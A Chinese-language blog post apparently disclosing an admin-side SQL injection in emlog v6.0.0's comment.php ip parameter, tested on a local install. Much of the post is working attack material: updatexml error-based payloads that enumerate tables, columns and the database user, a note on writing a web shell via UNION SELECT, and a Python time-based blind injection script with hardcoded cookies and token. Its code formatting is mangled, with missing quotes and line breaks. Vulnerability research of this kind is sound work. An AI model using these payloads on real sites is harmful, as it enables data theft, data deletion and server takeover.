共计 2212 个字符,预计需要花费 6 分钟才能阅读完成。
前言
emlog 是一套基于 PHP 和 MySQL 的博客及 CMS 建站系统。emlog v6.0.0 存在后台 SQL 注入漏洞。
分析
官网下载 emlog 最新版 v6.0.0,本地搭建。
前台功能不多,参数基本都做了防注入处理:
问题出在后台,评论处理文件./admin/comment.php:
if ($action== delbyip) {LoginAuth::checkToken(); // 验证 tokenif (ROLE != ROLE_ADMIN) {emMsg( 权限不足!, ./);}$ip = isset($_GET[ip]) ? $_GET[ip] : ; // 通过 GET 接收 ip$Comment_Model->delCommentByIp($ip);$CACHE->updateCache(array(sta,comment));emDirect(“./comment.php?active_del=1”);} 这里通过 GET 接收 ip 参数,传入 delCommentByip 函数,追踪 delCommentByip 函数,在./include/model/comment_model.php 中定义,看下代码:
functiondelCommentByIp($ip){$blogids = array();$sql = “SELECT DISTINCT gid FROM “.DB_PREFIX.”comment WHERE ip=$ip”; // 直接将 ip 传入 $sql$query = $this->db->query($sql);while ($row = $this->db->fetch_array($query)) {$blogids[] = $row[gid];}$this->db->query(“DELETE FROM “.DB_PREFIX.”comment WHERE ip=$ip”); // 这里同理 $this->updateCommentNum($blogids);} 函数中未对 $ip 进行过滤,直接代入 sql 语句执行,导致 SQL 注入。
我们简单构造下请求,代码中会先验证 token,在 cookie 中可以查看,复制出来通过 GET 传入:
http://localhost/admin/comment.php?action=delbyip&token=d07b467cd6493e6f924f4ddbf6aba150&ip=
由于 $sql 先进行了 SELECT 操作,后又进行 DELETE,联合查询 + 报错的方式页面无法成功回显,亦不能使用注入工具类似 SQLMAP 等,工具测试过程中会删除数据。这里我们可以使用报错注入或时间延时盲注。
利用报错注入查表:
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) and 1=1
查列:
and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=emlog_user limit 2,1),0x7e),1) and 1=1
查当前用户:
and updatexml(1,concat(0x7e,user(),0x7e),1) and 1=1
写 shell(前提:1.dba 权限 2. 已知网站可写目录的绝对路径),利用联合查询:
and 1=2 union select
亦可使用时间延时盲注,脚本如下:
coding=utf-8import requestsimport timeresult = “”headers = {“Cookie”: “PHPSESSID=op0fmep23gra8bfeajr64v5po3; EM_AUTHCOOKIE_lVwEgJcMNv2S7HzAwFEiEDvFWo12m3jJ=admin%7C%7C1af8be96c6e5850303168025f926a143; EM_TOKENCOOKIE_e92c117245b703a28199df6d64d62170=d07b467cd6493e6f924f4ddbf6aba150″,}for i in range (1,30):for j in range(47,122): 暂考虑数字字母,没考虑其他字符 payload = ” and (select*from(select(if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),%d,1))=%d,sleep(2),0)))a) and 1=1″ % (i, j)url = “http://localhost/admin/comment.php?action=delbyip&token=d07b467cd6493e6f924f4ddbf6aba150&ip=”+payload+””stime = time.time()name = requests.post(url, headers=headers)if time.time()-stime >= 2:result += chr(j)print(result)breakprint([+]result:+result)
最后
食之无味,弃之可惜。